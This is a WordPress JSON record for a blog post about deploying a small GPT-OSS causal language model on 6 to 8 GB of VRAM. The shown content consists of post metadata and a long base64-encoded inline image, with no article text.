{"id":8337,"date":"2026-07-05T03:30:57","date_gmt":"2026-07-04T19:30:57","guid":{"rendered":"https:\/\/eps.org.tw\/?p=8337"},"modified":"2026-07-05T03:30:57","modified_gmt":"2026-07-04T19:30:57","slug":"deploy-tiny-gptossforcausallm-for-low-vram-6gb-8gb-step-by-step","status":"publish","type":"post","link":"https:\/\/eps.org.tw\/8337\/deploy-tiny-gptossforcausallm-for-low-vram-6gb-8gb-step-by-step","title":{"rendered":"Deploy tiny-GptOssForCausalLM For Low VRAM (6GB\/8GB) Step-by-Step"},"content":{"rendered":"<p><img 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hQjCFNYkhFDxjO9eUvZjsszS4bwrJfBYWfO12pF8jkR8FNUsnjkVwBp22Ij7mPiAxbjqNrv7WOoJN4EiDDqgEYfXTwEha6vJOBOzIP5eMPm3rWyogbQ\/6X9+k\/hcYJDPvYERJG2CRkG7o5kqASgIgbdMYsqLWmxHdiFDNgsDiSZDCdjZsR378rFH4ACgS74YR94N8Os55vUK0ce6nkYZHfn68IpQ5Mm2LP\/Jbga8qagZ3Raw\/5hipm0Vp1p3Q1cXNDC5LJyyOdFzav7Bg1QEKVC\/GtvcFdXxJbMmeRrJinOducOIne0wToX9UV3qJpc46lCfYHrHuLwbMt6hCufmSAvh7GrJWNqg0nZK9y\/tNKitaP1I63NiRKwlJ9d+fn7aOjNTFroHkmLCSRGnl2cUw6gGk\/s3DUx\/JJhkt3MLZugVloYMAkMMTA3AEhdCfMn8VJHXNPD3t4Fvhe0XryZwRJpWG4R4eq6r\/RllYSjDhfe3TTy\/LqDGNEThp5ghQ7YAAEqrTdj88I95oJuXqX4TcykEo8Qq4UTjfNwI0KNai\/CjmlmiR38lb5IwX7cz+95EmO\/YMFY1OM0g1nJbYg79EARxUxUaqhAv0BMq\/ziUTZS6xh3ggiyvX6n3QCRgOO6LvsPgJ7H2o36laJ7pVB5c9IKwIfIM+6Mkec2e8pkWljIU7ETmaiej2LbS3XoRrjD6cLrpGu1NevW5N4i8nSXZxMydHNOs\/sKVZYmH86dAEi1S7lxRNjWiVRoOnVOH60UmCCfepNtjEbQZL0Nr\/D530gEq2rY68yNFX8z67TdFNzR375c+GBS6dQD1E+K05wFIU0pRj0uCPALIqssu92kFV2GQu3o\/9\/notwKHmB7NPoorxqSbU9x950H7RxIpROUem2FOmj56KBjzFeDi\/lPX+r00t7MumK2tMUv+xcm\/5zRdwgfeQSkSpFWsP5wbv36liqJyzdkh05G3hAGC0Xn2yZEEf07qdgLg9va+LctNnQ\/NxoISEI\/A79VzM+l4XhhMmbXm+KiHlyrlgXOxP5enXa53iQ1yfJ6T3bDImzBJ70\/QUWvJDrXpOic3w6LZLViXv9ByI720JvRi3nZjnLA9NToSOYxs\/0RqYZW6xkRElrDuuThSbQibuoqgnS2oiMRob0yCmz4krrLBh0\/R6VM0G\/ikVmZistdgal6S1wcOP1E6u6zaMl4jfs5msfwxIp7y3qLxfA40zDhkEwQpFqDX5KbepvYegt+FSNPgRtQrOr11anB44Bxkvh892yk1\/vFawTlbBz5BdWPdRWFSqbVcudyonABZC6IW0d7sPyWI1VyE+t9KB0rQ4sT38DMCR9WvVwxy35WshYKHc8O0Cne8N\/ndu0rK6Hpmkx\/S5pgjwjVDCCl7FdUd9Q2ubBx6kUYBmclt9we7LJQHYz8okZcS9zayDrTFtijjgxLIT4eSnY6WjSWwd24+rCUhcMqKPSRR9+E4IfQbXl\/Uf4zJWrdl2EEJeGlp8bKTsrkmK0fnjBwWIK5fxYzl3T5UlS5M3BNm8PFRHv8WuQgF5pUQk1LbHNmqhXaCTy4SU4l0p0aualnJlxZf+SzmdybmYTxV6JPGVp1f\/Dg31uX\/3xQzqRUZS+FAfZ9XyUdJ\/aGYP5Mhdwp5KECGJe1jG\/kh9JHKLcoETuRBi\/rm7PTT9WYaHfv+2ARRYgmtq9nVPdtX2wr+1ewTCbiV2c9RBRJ5fwFsECfm\/VMwfiy0GljUpL+zd1WOs092Dbilg8vtSu6CVOoqs10EeWnyqDVgH3iGeib3KR2Kt6KpDrpHFtKrWHW+DkH1kZNuSxp27mgSmZaG1eKn1rtlsepuQuTgjSB7R2SlelH8vBjjrnnxUrJsY2Ga9MIBH1S3ASOh5ON+PVWgaMav+qsbQQay6Eln8XMU3r2teFmGrC2zZoGtM+lMyZLLnU\/o0XekTmBNJDBVwJq5G1KY9IEpzMsXSs8oGh\/wHrNcnajNCbzFmdxJ5PuwIjbOcJ9nQocfcqAp8gIGkI7A2Cm5shMQfCDKiuhQPw3zpge\/6PON239gIFmF\/kh7u8OTG2w1wc7E2g+GU1C7jVonbNfw6S54UaGqq4BSDGHPLT2BRyv444nRg1oYqIHnwK280Von5bGf1Xc\/kBAbiiKUGFurGN4Q9wWqL6exmQUPVrT18DGk+R\/a1IDEKwFQNwtiYIpJbnYfx3n0XCJzsx4yEwTKPdTeJFTxhJnmiJcQw8aSL5xo9nIWzl+fyqefpc+RtYz\/oK+Dy4bcmhmiF9pbyBAwdq8HONlNYH0NeTR7A5xX57RmEcuG86tP0lnNBEn2R7KPwBg6VhVKw\/7osLiEuQpFDZNGoC0OYd+QH2nUlWTLNyGTQ63v6WUGyEWSniMMbs5MNa1WvycwyHy8DiYCBdmcTqA2iBkUmzw7nGlxpl8LxMfMv2sAgfIvgpeOBMYqESfUO\/wq2xPpVUD9a8lxd8D+EhYTAMM4AA9a5jznh9gn74wY0w2adRQcofZwx0iwfeOwvj6Fl1aSryU88LQVl3E19RhKsXXTu3tfUirPHWgEge4yFy5bHGKdroKDYs+hFoIWhz0tHn133Ah1tt5YnKr9zW5MyytMeWYzTMoNRi+NZofMykNrbPtxd1\/9Hf6TaM2wozEUmdtLfEsOELvmcoKWBC2B\/B\/c0IbIQ5qeS4WweNG9cW87HPKLk1NTqlbHGBC6ztmkLIHri+hzLP9OrXuKRNtXiVjl7THmGsgx8RuRozjSmTDeP1\/LjP\/D1vz6N+GpD+J5iS63KfxfHnSR+cFJyh7cidaAgWKWy20PK5f+ceyDQii7wN54CGDaj\/IJbJ8m+2MHpbd9ZJ7ecjszKhKrjbhtNV3mDtBoabj9dY\/GbuW9BZAlnN5ph7TzslyaY0dbM6lutlgPLgbbJjPfT\/edaLcoA5YbcPd9rNktf2Y41FX8MxKfxhnFtwCPygZB\/eA7a5Urfpjw1rEw0gZbxxUjUOKKO3i9D04av57BwNBcQuS8V917aFSf1wSaNzSAW6CWmqRp\/6N4Er9Iqw6odoDfhPsIJwtgvSV1werd9kCgT33I9oVnBqtIlTIcj7rlBMXh4F+FlanltBFW1PrNQSvQ\/dQe9bdyGK049nFQJBhFsLCd5NInz5ZdM379kUNpEQTFgzAjdREZDAWHS0lNF5roS2m3sAf+sWF8OLOGwPMNfIShF3RSyq4pT6Uu9E5pQx7ttI6Oef8JiXUD+VfXhpxwOKUQDri+ukR+q6HYjaBq0uBr2p5H8zKn\/s4MEO\/v5dSfs0Gqq\/HQH7m5cnVk2f30a6prJclVo7Bv3Fao0nZGn\/96Eqtf3YN+Ja05mrNCTmri9SrMqgt9+ZtX8qBONgal67WLkPnML1Vii3tthJDhG6QLQ+FxhgC4NDZ5CDFXGkQhNpv\/1WI5+5p9LsmHkvdcvS1l5IcShFp3KZspQEcOFvPo8lBZVHtiqMrkigXwmJ5EePvzESFbXoBDKOVZ4fHIbutCqlWnvRjRXIyCOgfO3AVw6C5hupDHmiK+V\/x1BjM2TAhVUETHdxZ9vrQLBJU3xpTZHQ2MD9yNU8ORJaR3i86w5\/hTXMEbBeJ1Hs9foviUd2SGfgrZG3LCqlsMYqzgxm2zN1TBy0lrmABO+qs2Omp+WT0FCCgz3S79+lMutPG9gKvNl\/yrVZTsPCcLdDdOQdb7R4Q8Th7NF\/M4KuDEB7XXPhkSlgMowXHpD5XlVLKN1o9TtN0y1WxWytTI0X49Y9eiSiuagS45YL7erIByBkIZ6\/D+0Q3TZLd65H7e640sHWnjTD3bKO2nliPKBz\/TZ+PvZkUQxTDXRRDXx2h5bTfbwB6CTGJ29FbLklrLJj2jY79n233Bdcvdoddf1s+owqDsWMyJpGgy6V8tzACJS4cUnGndnidSaSqIyRFAZ9SxC+s\/IOJ63NKRv+jOTVDWawBV826rs1UWSRdoqLIVVGdpmTLidglaGV00CuNTtAUKVF3Ab2ILUs9AiTOMtUJr7kYfPI2LMhZXKA2OngGs5n0o1yf0cspr97QPm4fsjlZKdrGeCDuj3t8mnNYynWkjxzqfXxPtp5I0gPT9Gpu1W33k2HpLL9xmIa7MYuGLCf7bNbHCI1RJkTZy0bhKoz5ZUjyILQmv5j3rrKgRaM4R3+a1IzoWknZDrsTeAWuQC3jPC14eqPUGMPHe1t6q9k0EfiBrIfh1UItaatUkN9+pi\/Lu++FXwUc+P11H+RyE2QeUAAfA\/5SXxW4U\/\/UQkKMoZMZLqudEKoz+De5op9f+1ANgGuinaVPa2YkRiK2d\/ls9BR0G8odNgi+dQrcwOLKfqfFfrhmJFuiDpd8aj8zJvJ72SU2eq2igXdDTL2u8+vNSqKYAL+rHRcx2DoJIj9R+v8hyZtMoEqdRaxV4IiLE2lwzYI2oUUmqJ3aeEZtDC+6h91bsS3dW+oOopLOA2ie3z7cNj+72POMye3mvzUuoU8TdG6VNTRvWZ2N\/B2xqZwdbjoI0+gtJs6oLm4qFXvXJ6Xl12kGYRI\/dwgT9Qp1TIJBYmulB4W1rfrmJ0bLV4bmYHVbQUXaI9RJIFyQ\/3mdRSGxeRVDxl4qW7eZLud2mOcFBrCdxRuggQP9fiTzZdlqNxinDoVsopkMxeX2IC0QqvwpRuV9opgYlzLhrWadb3s\/WGfPlq7yyQtMht9Se6oaYw8GTu2sJThl15l\/TJKcXHghWdaEdI2Kto7Pej1cZXwh29WAxqx40BGmQvPlCRDFiOobm1OzMD8yVWd9tuTsWK+gXeVq9FgdT2XGniP+XsWy2F4ZQBm4ponFt18ht9i25JQ24yWEHiAgtmo5LHRVpNfg7AJ2cC77CQ2bQxCQF7ED3W8KJI2fYQ6DKNJWayZSzBlisY0gfvIIr25RQgv10rR\/5L8oQBylrrqeX5ul0gMvXchJj89PZebV9ErFOuXqXyQVRoPrE7CrwovTAbxr7lpPlgpcr7oQToT+Vt6jteKC+rTmxLfyKbNgOLOfqC8t+okvvCQM5vc97wCNLQK7CHRemf26JC6gaRBqzsMwa20\/12QWshlQbci6LqT3VKJO61KH7fIZ9Ib+UhmPi41MGkhNMdIRiHI3TvZ+Jxpm\/+2E612ih3jaHxcrQ7LESE9yUfzRuGQk7Gv7d6gPJq+89qVH7VPNwjBNUdm1fGmKkb+M0ZZjuBp2SaSxq\/qaNg0u55z1PKEjI\/\/F3EBxVnzTiKTmY9bWtY+Zyfe1PQzcYQHF0EQBM3nbbiiPEWrRy\/H3F3pJX7PH0xW\/pwEjDEhvk\/xqQ4yRSvENTXW5UvusktWFQWscPPGaX3iuriCbsGrU1kFXfFuiZXQiAIp7JzkQW4KInW1QgwD0DaccovN2+n7zMo\/B9gAX76xJOOSi2buYkM6N8Q7X3RiJ2Rq8IOTj4XXmSTiq9Wx\/HmbFh\/Ks4l3cgt3I1tC\/B1BiIaX0qPUAgrcz3KJY2WHbRGYlVXw66BDotOKSC3E02aYhBUn0QyUQ2hoAp1GgXHNRb1NwNDk5SK5FBF6nBpLjFeC5OnZ17kFTrZaROLyQsE2CRt9HtGoUS3banWe3nnCMWxsEkpIu01cOuFZ8Y8sOAFvBsS\/icEgxvlLUWW3+LIMcRK4cIX81\/+1Ps\/M3KPVE0aC3iUWQxnQABaEmZpLyf7u4rIJ3sMvGxQsCWRY+IpqH\/h8fUaHltJnbo3OT4pu0UYNGZXWrfLj+5CXwVq7VPpSoMr15aV+B6Cp9Xl9V5jmUlUlw35jT\/ZObXVavckpdYC9ft0DOUGufOjhGjdHPTkZ8dIocK7n6pxqBXRLsIqgJLxrScCsBkOWYTfdRUVzcpqKrrjEOcIpudg+QjL5WmUAg7SQFoiVp5BiwMJR5Y7X3Q\/3szQL68W7gRdu5NWeq84D3aMbm6+pQ6yD8cP85BuvkxakaI6r18gPlrq2x+ovnFoVAbfjE1k+roDMeNw9SieCLbtrIhjkBqMGmqdT5k0ZSDqgZw\/G0q3uz+ZEmCoUZkX29a7zIVcDSUhUjuY4J7hf6tfnRX5UZapx9iyzKzogLD9m3lWzxaeKWanTfcL1nxTh4Mjmw9tZKdG0\/4jwDuepA4hQeDCVGm2IgJLzvIoOkulDV8XPtcY6mfmJdo2MP5b444QSeBvFIbSDZOFAaABlU2GJoJzeGYQHynT1rKStn4136c0H9buL5qiKQQX0qiXLXCrdl6buKtE172cYu7pXsDpd9uYc\/i+urJlKrkCvVaSgTlnPY7anJhuRM4rqzA3h4ykzBh4yc4U+\/cUQhP\/91uU9i8p9AGK0ixwvKzQZAd6gm5ZlwlacFgIZ0rbXQcFgD1Dwt2Rx7T3+LeLMILfWUGdoF8er2CyBLLxZFuHTC1GeaWBlI+WMC18thqvbv4EFZQ7gFDFEzfWEuj6diD\/P5i3Ycsycp2TswXGzzzlhIr6UI6j995mRwXyB6xsHDbZhIuU4orkc8U033f+So3ZakZkS7bbAEZTPmq2WYBhWMlLAQsWY0Iv+vTDEzlAWMnmanvY+i2iJwIm45cx1zEW1AZdLwxYGoFDR3LPSjSjW01JIi2YNcBZ11q7R+KT+l6C4xYLGgM1MZPOzSANdb2kFon9N2ANIWyK6z4\/xLRbtwxc8nRT6rz5oOtYtryS63u609kxnXj9OiFsdxB8UlJrwP\/SrJqIqIBsry62TidZoWj6nO99TAA2Lpg6je3tcl7+G2dxJ576rrjwtiTkdlXXaXZdHYBoVO5oFbzzh8YByc8Bgyq5nUEvJjGJsvlZJIfhRnyBhxuuJx9GiQw38JPQ+UoizINypbIVsqsS2RRsBExzZEjRnws7uUOGJDr9cVPHe1b3Na00A+FpZQbu\/WIHzXajqsvKmvI0aNMPsERbdvhUsoRjlhFVWSEKA5p3n7Q7ogVg2qixSBJqqIMfZCO7sNoGms6EgE3Ge1hpoINsAGwrVB8d0INq3t57fGcnvYULhYsKQttRcwfCynzyNnQXhdr9V1I5TAv752otBW\/wsljMtKFGP3syfEnAMDtRQTKl038kxoxTcFxCzkK7ff7OyOF\/93KE4w1IhfA1Cy6SRau7vjVcF9OcybbM0U2C5LKgrrqCroEaxSxBkkTWOUT+JlwIV+xdKYRXDgv1Wa910\/2qav4XlEvzIBe8zYZsNmoySg6a0Nv+DA0voxqvau\/lPUHi5yd+Y+lCISPzhPRBhbaHQ1+ej38PV12mI53wKP9CXe77D1C4T+3b8qQMEbpJEOjYGo6yqAI9EkkkT9fiDNu7cpaWHlOrnX7ZeQ5lbxhOXvSXatQuVGGDGTWLP8s\/nh3Qbf75S\/fKbXg1kY\/18BRUHX+F+wg5lyy6OVtncsTWbt6dy6RvMUuzaUhROt4OP43sq3dGGKxPjad5MMfP07vW3Dguy1MjYHO1YmRzLPgqEYFjc5f\/xTRyYtQQGhY7YsdHAYceTl7lQQ1NqFqWqpJQg3oMAcxnkqvJK9AcO83gg5\/jL76sIyrClOf6yZgSDKAwnmdo3tnNO1pNzc+VauJAQvOL+4XPsoILUgMA3SZxRz9Pm2XmwyHAZ51iOaH0\/zF3Wv1IvnxuoizI6frbxs+8y+\/ZDvOx+XOIRmAeT5TOSH5hn01YZQXB6Xblxgavst+6YfnkKI4d8649Qai35zJj+mKbU9zfyfP4jAqi+qZL46AagON3uD0MRKdGaSgCW8CUviw6pTKL4xC6NncegmIA7YNhaSwGmXzoryTP1uq+4iEzF3dslpDMiaMNwAWMoc4of96ZKrwHeisq\/7CVko5Hs08cmQu9zs7BHWcLjvzl5zh1KFaliPx+X4\/6+MHE7cSTwcWRTjR67LOYoyhcxWDKwUShrnJTx66o7x3vrSLLqA613BrLnZA8KuLbLhUHnli4fG+Hy0gG3gTXusm+1FfZ035+rREVgn9xdgY\/VlO6Fpr+deX5TD7VYPJQ1cvCkE8JKo2THQto86oOdsCk7IAmxpxqe6Hv1sdkRJvATCwJjDf2DLSpbOoUC43iX93\/tHf6UFjcPLmJpHXy4E8NZl+YF3EnQg9TOkv4VwHDpC48TF6GdhUB4WyR95XAo5U3wU83HpS+sob8lZO+wxmFz3pJywZjJb5yqUXezxJb9X\/btA7lO560YXyQtHjgFn1Kv0PikLJOjTKfKx3FTaKqAdV6ymJTzFHlhp4yk9DkvKl\/IAfh6rU9w+pmwB3vJONQL0UNz\/n4y+mrsu1hr1ssn9KieuyjmPaoGWBwjq3VwXV\/CCznAjXPADkVWeTKGUJNHc5Lyd3ClFzHSlNV9Ix6qq0\/atDGBd8gMRnr6\/v9\/pdPC9y28mmwe69jgf7YWr3q+BvgNCAwhksk4eW0CqMtC1NfTzFvf54kwNNvoUFfsiAdMSNcruQkVSF98EtfnKmANBZ53I2h9gy0pCsoEj8d5QSbK7FcaqMTM\/GRnei14QCar2HKo3137T+jQF4YSAz7Qhhz3lWPycf+DZp7e2zu2ZpO2boBmhY3SsXm1QYhxN42MX2UJfQhwIlu5vyl8soA02bPxCZRKsjIFGkTGMLyMSe9Ei+6OPAAEKHHPNF1hf1fHCVqYs1duAnQJuFbFrXVoo4hhUVChx4ffa4tAWrWP44SZK7MIIeWHoejP5aMgvKcqC4OSQpRXEMdTZY0Dcsv0aY0aJ2+MFx+flBmZkLcYRhGNYlan\/rgesilaSBshrvic5ACpygp5BmnhWVBPDlvuM95bnyEAI63IpodR94nOGpZqNf\/j7z46RaK5e\/36pmxDRQ2hoZO\/6WlIflWuI7GwQG2yOD4KXd2xuOtlLVwevaic56cUuGG7pYQRrgBmKME\/XPrXBUB2ofFIAFWPuVPeRq9AmzeWcaK4dk8ZIlT+kUQsqzq1maoVDupyUpsXlF8WnX3zV+Hxe683zId\/FUofwQqPVuUCzDHAW0fUNLUZ8vq2gGmFW5hZB7c98pMgZmoFtGo8qdH\/oytr1r2CSWgKQzCcdz9vBYBwSPO1r7B7Bd\/4fx8+72R+HyRt2aP7h0Pszvb1lbMOvzsx8ZOI1S6RdsHrcVQRZcGkZ8lTND0wJBjPRu1\/nV1UJkN2HPEWBwjVl0GxRGoWAMFcGLbnxevxRo9AKQNDIZe6cggqnk6Cu1o25\/o3TerSjivsmwImWRQc+zbe8YH3hOiSfoQdxjmXie1ZIsdkaTqemxv9FAVHDCKAh3IDUweoxKyzburbXYok5PsAWr2eYKDNrZMJNafBHMSmZ98Nu2WkNnDm6ZIRo\/j2Vcf0eyyvbyB5wXQw1+XrkuK55kInSAxOi+kjvAMMVu+GxDJ6q1aZo7hqShPq8j+IBzxoBNneXtOqBmTbJUqBNf3LveRZyybfnyUNePhr\/kuerL0\/hRx\/sxpzk5f+yMQEIz\/gS47v9jV7c9nUxIJuREPybLGq0ZrWCU4onZJguwb4kBgKSrqTE98mRXQ715stE\/bIuXa+9wWXbyXAAhSxm5MOMWpqBJhxeNF9iAydfZDoIH6js5b8arpNHsJFPf4oaPfqBJ3HSjsfICV2fllz0\/UGIUkW2IxX4XR7LXoUV4ZdzP59zwR5pGwdBhMV2R9PgQ+e2+Vv6x51LL7WHBgCG44QWKAStMUHqScK7\/1qqVJs1r1xFraQuKEZ48D7A4AT+AFT2g\/KHlHg4KnXP\/BQw3CeIMcNNkqcAn4xm8IzW4p+r44rUXB0dxD2BEiTG36YGsmaFbWoT1sU6t60HvWsGVPIlL6DeU6pkar326n5WTAUnPg6UVRRzVI2\/ecwzYdzcXOzzFv9\/Oq23L95\/bLMb842lQNRV202BLZB0d8Gke0PLswzlV0wTcIS+fOiJMs3oQ9Mhcr\/dUNCPG0lE85XyZ5SxIxo6q9XtajNG+Tfr5QxzCqk+bnn1Cpa3SLK8K\/zXWggV+nJJUbiT4Cq\/gPAMMO\/B4v1QJn00eV76XDZ0ifJuPqrlIix6aIe19gM+YfdcoHD9PpWYKSmAkarhsbfl+Ndx\/aiH2kLiiDZlkHeEtAEO\/PIX+Tn7Fx65r0sm7d+hAwfC1D7bsz5BPm9MTV8fI124MR5Mi27PsLy8zJHocTuZAUvZvSGbyHlHsd6PanU82oaxHsCfRCcErM88iLOcr1UVFW1Yxx43RqoDiZYIAhqwaXDEC3jOwF47N98ao7xG+bBw\/dlb3pIvkquFaoznxIuJ3QbawM71XvHmHlqMnCTZs+BDUhhvkm60DKxOqJuCTArhzQqABrU9LCz4clYu95exgFq6yORV\/QMH3A2K9jbeJCuVnGDMPKgDaKiiURGXwGDlviYg1b1RsvSNcZEUQMd\/IBY1Xetz8B\/KNYgVen4rukR3c58trg1zA53DP3CQGCsr1rnvN+2XK0g2arJ5U6ZOvMJQk2dRWltuyRuXPgE3l1bpdQztaP+1JtVRRsCPDAZ7vIfNMZ+brQDGZghIAUSRuiBx66f9vrEkTWWKnGCN\/P2JJxpwWEdBRZ+Wia5Uj98BGh\/scMN+a8tWDQcC+Y4\/NCVMfB0Ur58fb7RCVdWXOr1Fd3Qro7cI0F6eUPrW81sBt1xiJQ7P2qKQCgHS1j34GzuH9OoZwt7yb2nC5pSvblf8VBBv7\/uQlefn6VjVjjWf27mWxdV2PJexsD22SgClZDyXbG0b\/\/1PmV5OuD2rUL0Ysj732yYXJWgSoa+gLUzSWrrRuKmy3fVwUFDyXYdiq0ytXScLAkdApxOg+Grg\/NnBi+QFunxUF13rYxcOq7AbmR0N3nM+vIxREKgAu0wixFiLaHJar9fQuXpjrboJbdwfVhbl6bgcnl6dFVhkRRgRcPpckrX\/4tgND8S4dFy39luXyIoFuxvRdFmToHmbKMzbfCn8r8XX\/OvC82TNRf367HAt9EZ\/YxoOrowXQcfQBYsMi+pfgtc8eOwkz\/Gjk8cJBEPOrn1ba+orHEvl+8R40F3wb2SityQZom2YHJr8WOS2UcCX6tda9civqr2BrUKLbpaaKNRSWe8ifzqScirQdtDyZZY8NR8kx8N9Md77nwzcf8LaghX\/x9zPT96uM4qfR1Jtv5l3IRwBaBPW+g8agsKttXN5mCIocVuLQRlpsGV9YiSk6F6BsrfV\/lVd5tYGE6ExsqvuExIoPuAuf+8Ku8i9JFZ7Y3t7xP7cf+y9YFXxNkg4Ch1pUyacir6jqcGlLvN8+b\/UtVz13SviXoHgil2vYmuI+V8SwF+dvGXr5cqnYeJcTix4au\/qUB4DY5cO6aHx5RhhIjHMSJGE7BWGup0NnARPjTgskqZ6RYTs4MhaSLS5Cm03ff1hF0C0HOupSVC8\/K1X3kHgCuRW7m7Ch8NjxvEfh6nKTOIzwYtFS2XltkvCWREEh2CHYridV8YrW9B4c9PQtVXnG727NLtpkPPePtW6LufW+j8PHvppc2ZtaeYadjKWFln0iE5pMWxz79R3FvtrK7V\/MYjJ9BlIrhiKxmwapaal0LchK\/YkZ2To0FxsiNexHuNQfoMyTu2y13aGB11BbjXBrnH8flyi7dDeO\/k7\/9mmUeq9ZkWjORiNIx\/4dt\/nbpij5H0rR95miHiWr32v4BmAbt3pPSb0WF1JcNYYfgPLz\/L+llqN\/a7EH+nVUWltY4VAXgu2lzmt7Org2IImI1VaapsSYC5EECbVQ+WaEVK2Dbrs2mxWYeqUneOn7xMQQDP+NvBW6ZLfNn20+UzM9KjTvSvBCG914Trk3gKhPwlrlTjMkv6hOmqeaLT+1ngoJswr7B0BsURLDgf1zaNvirDcgLxBAN8inoUzCXB+R7jlFG9IKAnsvlGyUR8p0nH1I9GuekLZMtIPeOtqxFWv4AAvbTi5iFutkmZ1cwDQmLCl4QHbx9evzchREFdADM8eg\/Xcx8xAHZ8pomyA71owk0uaBsefrN00tOe3PPbg66kMH94pBxrj\/+NPD9EkiAmLcbq8dOrbsqt1+kAOqkLdbRdr2MqO4d6+GhGB+IidmYdlVOt+cHBuwhAC9GZMH2FSHBQvJayU8Nq8F9AEXgMkIbUYW\/lNsgvkVZYhJtUp555R+ymP\/Of7kjwSj+ijZ8P3fGXz0IJb6W3VzygQLlMJfeuxq\/DCJJlKOJNFHRSxh4O57ZNv45iDuSqpA+UIdbcjOErKK5C++4Ue6cKs\/xn\/7KD4z9oC9RBhwbviieEkLSQqxG+\/Ct7Xso4bp+brVgV+IwoVwgNW9y24XWCVT6FnzaajSoa362VD6gOx5KSjorkufSs8CMXuQlDl6IUEq9jipxIjWu\/2gy0IvUKebT0aMDFGAIdiZdngjeSixpiekJ8q53jzFlBDo9H7kHLXpzQ\/pXzkJCtZTS\/UkKm7eXPmilnRgQMjp7QvOLv+otkQ6oBYKK1UpyIfI4GMknJxjesJK\/b3z2cyZOd8HzZtto3b6Yo19k5Ls\/cWy8WaZyjoQh0lQrqlsNBUR8lo968TITk0fkT+bkwSRVfHcc3C0obp7VOrlTh9AExJVwAxjOnEvjh+Abpa\/0Y\/zxOPWPL76HmpCMD57CyLjb4LGdU8RXR2SRzdiMZjHJcWG1rTFOaq06CnUsMqkifw5wuSkM9siE2tdebesEAuasLwfGRqxK5z50N3O3jPB08zHuwLax5UlC1ab9UitNS1hVYSerEveRVGRHMEyv+O\/606MnFpdw\/b9fperULiBjAqbAM6RvMMhwoqnZx3uz1vPUiclcGJIMXksqhS5sYDUC4CGvXm+Gimugb3CrFRK29b+brwxF6ZUw8sOk75LBVgMKuvfGKSzqHfwaj5l46AReKycW82AEwFKePKA\/gSzv5nSn0jv67hGA8FQa3aR8EVmrL3oJmPkt8j9z91qtl\/F5FvxptC71ngFlmyn7ijXgI30c\/+P6ZgCXvmv7CibSHnSDTeqUfFgDylnjMwYsXaLoIG\/khWboPbTLp6iZucqsI4NlT0nG3o9TOP+DHyv18QrOcy10jUjTgcRZmDmXdvtLFfSAIHP41B2YvGkR4HeumtGI\/47Q3w3uP\/eq91760jeh5Mxya2UfJclu18TKl+zIeOqI+DCL+iaffseLArynIawL\/BEVHBKxutydIa87rF2BpP3I310cpGqC4PjHQyzDFv1Zdpqun0gyQaG+lzT6IxIUyHsq029CwER\/NoY7c0rGmQmvNvuS06S7nca\/jgTgrsahmL792+L7Mz7V212yGVS5UakgOu7ajd2otFF7NIIEmnnvqSUeQztNHJijShNfXDSG1CeflR+EGUVVAC9B12NV6in1ABoUc3Nhhbs0zLi0zrGq3vHU2M3AoDK1Ktz8XZINgDiItdjAdJMkF+2iZS5Zc\/DmI4LEiWyj7jErfnwM82PtusYQVmDJrtTDV4eaQqfJPV4lsrsTgbMGHylDdgGskXV81pfALoWrkZuA\/hceonS9jzHMfkEipjHXeQx\/r\/52nzEa+OyKqbu01WPN8bEJ3h9mZGqeJNlOExAaurdu9V8BEHAPSv\/Gcl+UEwrUH2nBHsplDBmnOCQbp3xhE2WNQpT1QZA7hEIsiIFJzfVpmyDtF46jnkYg9ah+c\/U+PgROyb9ZRvk2HapOhYLJCc8Lv4IXz5lcnWF4tBvt8+Yd489Pc1OBdRkvXtvMUPxWnva2yfCRy+3SuwIh+uBTBzek1R0FHVI9fCKbhwlViFo9oyRA+ltmZpO4dsS8YQEHLGOZQpfiqfEYUoSaQ\/jbQoBoi5Pom+iAiiRbjFWUOIZPfRN8kSlNRulpKUGSEUucsSa9NQPWsSx670OgHEdPq6yJRVXOXny0RQQxtTnKGxufEefSFdQ8TGcR64MvRUowgz\/FVHDoS9kV43JTRLHxrPZ7sfej+nFPM0lIG16kCi1fODFR1y3nBTfNjHs6j4VuqBm11Voj4Lu4siF4DKjaDGAaZqmxfEotCWPSse2Bt6QR0jsAACaJy9nMF72OBH6jzNjWIwJSXykzuWJA4Rkp4c7F07rzYBwf2i3t2\/4KlpQWK8K4P8Znjg2mhbkyuy9YG\/QP4xo4cQKXt0B5\/qtameRvPHbN\/rP9S+tf9FenV6PGJU3KgqQs+6H36Y9dyHvILOJVpqmBctt5M4FmtiSvTX9IYUukD9PMQ4ZZnwX\/2cd2sD1s14hXkxDgZ4LL+mthF3VP1T9YUkI1WC\/+51R71gFws3oC0qo9GEmUnb2FszinbtaXhyXKPJjIr8VH2ZZ6WbBF3FLVREEFWN8+SE2zfEKV\/8SXkK6kAxOC6E18GhJyi\/X\/HgUfBsKkCXq8UKcyqbVQkLmHYE8Rd5Y5PjTr+8v\/UHbYtoo34fLqSTOi3ey6kHbyA\/86gWbMg0rikULRrunIegx5v4ZXTqUQ12D3XQIsK9eRSqJbEl37MOAHIrpwpVfp9H88mE\/h8NzkMhAFB+pbFvVGneBZfU9OihkHusV8l8B4C0NMS1BIltlBytJwWoGUZTvcywTHWOxcPIbiwJ02WbMu81tkeeTUN+KVsnF2yb+LV6tEsl6aeOrht2sqwtqbGiHIkW9HFIXBkSS6LGP1ZkNzM0O\/B3y5qL0+hVVXqhbg75xrb5h4e3YfsNcDubj\/lIXzLJl42OhoJAzzNdNETkLjdjnVKXje+Axuqj7A7w1W9xCFMHoH92ZEH7sOt0L6dBR\/QiDkBZb\/X5aHTsF5xZUnxnKubk+E8KrLMRCNKzdKxeBpYi9ayF5WUlpvFfBUWxobACx3mNDTcrZBJgq\/jgfIujroXyqJjmz+pq1QFyoMwq9nW58vsigpITcFBXXEoejR2oAYRpJ53uwPw62X4nTEBFUzagWpY3EIjDY2PIRoSF74P7nk7fqTg+fED4uTotwfou1snyk3Bodz5WRG0l9TvphxYv6Y5qmddXa64ZZVFYOLVkjP2mc4rbPPqcvdZt\/pVZ6dP3522p0GozWycLWiwt49GSfkR2UAELLGSvMSgQaHdMnvhzqorvPHdKwZTB4ihkgKHjK3Eh+pHwa1zc0mF21N7pXcAC4oyMUVXo2+yfWOumy7FTjlwyMCrHu9LW8+ofRTgyHUYpePgB9+KiGIqdV1B8Uqp3BchKJ9eP+bY4A1GF38keaWPOucWVWyHOkJirIUzxclgAvqzQzCLXORHkJxaM4iIxeSRPgnqsRicBRTXkt5PsJXPmtzQnzO72CYlvOJoRxxpRdMhH5AMVlOgK4bgVcqfQEATKKc14eUAJcqQtuX9iQ8QGgMu5KenP0E7VOXHeaNKuzw\/3ISHlwY4qcHsSYjvoZ2HuFe5tdMmTUE8U